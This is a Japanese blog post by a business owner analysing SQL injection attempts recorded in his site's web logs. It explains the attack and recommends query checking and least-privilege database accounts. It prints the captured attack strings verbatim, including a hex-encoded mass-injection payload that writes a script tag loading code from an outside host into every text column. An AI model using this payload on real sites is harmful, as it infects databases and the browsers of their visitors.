WEBLOG解析 サイバーテロリズム
ホスティングしているサイトが昨晩から2回ダウンした。
サイトがダウンしていることに気づいても、管理会社に直接連絡がとれないので困っている。
サイト移行することを考えないといけないかもしれない。
さて、原因は別にあるようだが、ほぼ時期を同じくしてSQLインジェクションによる攻撃が12/14から始まった。
ちょうどさまざまな対処が功を奏してきて、あるキーワードによる検索結果が1ページ目の上部に表示されるようになっていた。
だから、急にWEBログのファイルサイズが2倍になったので、かなりアクセス数が増加したんだな、と思っていた。
だが、ログを見てみるとやたらと長いクエリが記録されている。
その例を示す。
(SQLインジェクション 1)
%20AnD%20(sElEcT%20ChAr(94)%2BcAsT(CoUnT(1)%20aS%20VaRcHaR(100))%2bCh
Ar(94)%20fRoM%20[mAsTeR]..[sYsDaTaBaSeS])
「%20」 は スペース、「%2b」 は 「+」、「%25」 は 「%」に置き換える。さらに、大文字小文字を交互にして、SQLのクエリだとすぐにわからないように細工している。これをわかりやすく書き換えると、
and (select char(94)+cast(count(1) as varchar(100))+char(94) from
[master]..[sysdatabases])
となる。SQL Serverのデータベースの数を取得しようとしているのである。
(SQLインジェクション 2)
;dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C41524520405420
5641524348415228323535292C404320564152434841522832353529204445434C415245
205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E6
16D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C
756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D
27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5
220622E78747970653D323331204F5220622E78747970653D31363729204F50454E2054
61626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437
572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455
533D302920424547494E20455845432827555044415445205B272B40542B275D2053455
4205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303
030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2
F732E6361776A622E636F6D2F736A702E6A733E3C2F7363726970743E272727292046
45544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542
C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415
445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);
実はこれが曲者である。ぱっと見てもよくわからないから、問題ないとして見なかったことにしておきたくなるが、最後に「exec(@s)」があるので見過ごせないことにすぐに気づく。
「44」は「D」、「45」は「E」であるから、コードを文字に変換すると以下のようになる。
;declare @S varchar(4000) set @s=cast(
DECLARE
@T VARCHAR(255),
@C VARCHAR(255)
DECLARE Table_Cursor
CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN EXEC
('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
as varchar(40000)); exec(@s)
要は、テーブル名と各テーブルの列名を取得し、その列にある文字列を挿入しようというもの。
例えば、あるユーザーが、被害にあったサイトのページを開く。そのページはデータベースをselectして、挿入されたスクリプトを表示してしまう。
そのスクリプトはクライアントで実行され、被害が拡大する、といった感じ。
予防策は、URIクエリをチェックする仕組みをwebアプリに組み込んでおくことが重要である。
もちろん、データベース側でwebアプリが使うアカウントに最小限の権限を付与しておくことも有効であるが、あまり細かく設定すると管理が難しくなるので、さじ加減を注意する必要がある。
sa権限をもったアカウントをwebアプリに使わせるというのはもっての他であることは言うまでもない。
被害にあったと思われるサイトを検索してみる。くれぐれもクリックして表示しないようにしてください。
http://www.google.co.jp/search?hl=ja&lr=lang_ja&q=%22%3Cscript+src%3Dhttp://flyshu.8866.org/jp/Help.asp%3E%3C/script%3E%22&start=0&sa=N
※このブログは、BSP ( ビジネスサポートサービス プロバイダー ) 小山内株式会社 代表取締役によって書かれています。
[PR]パチンコ攻略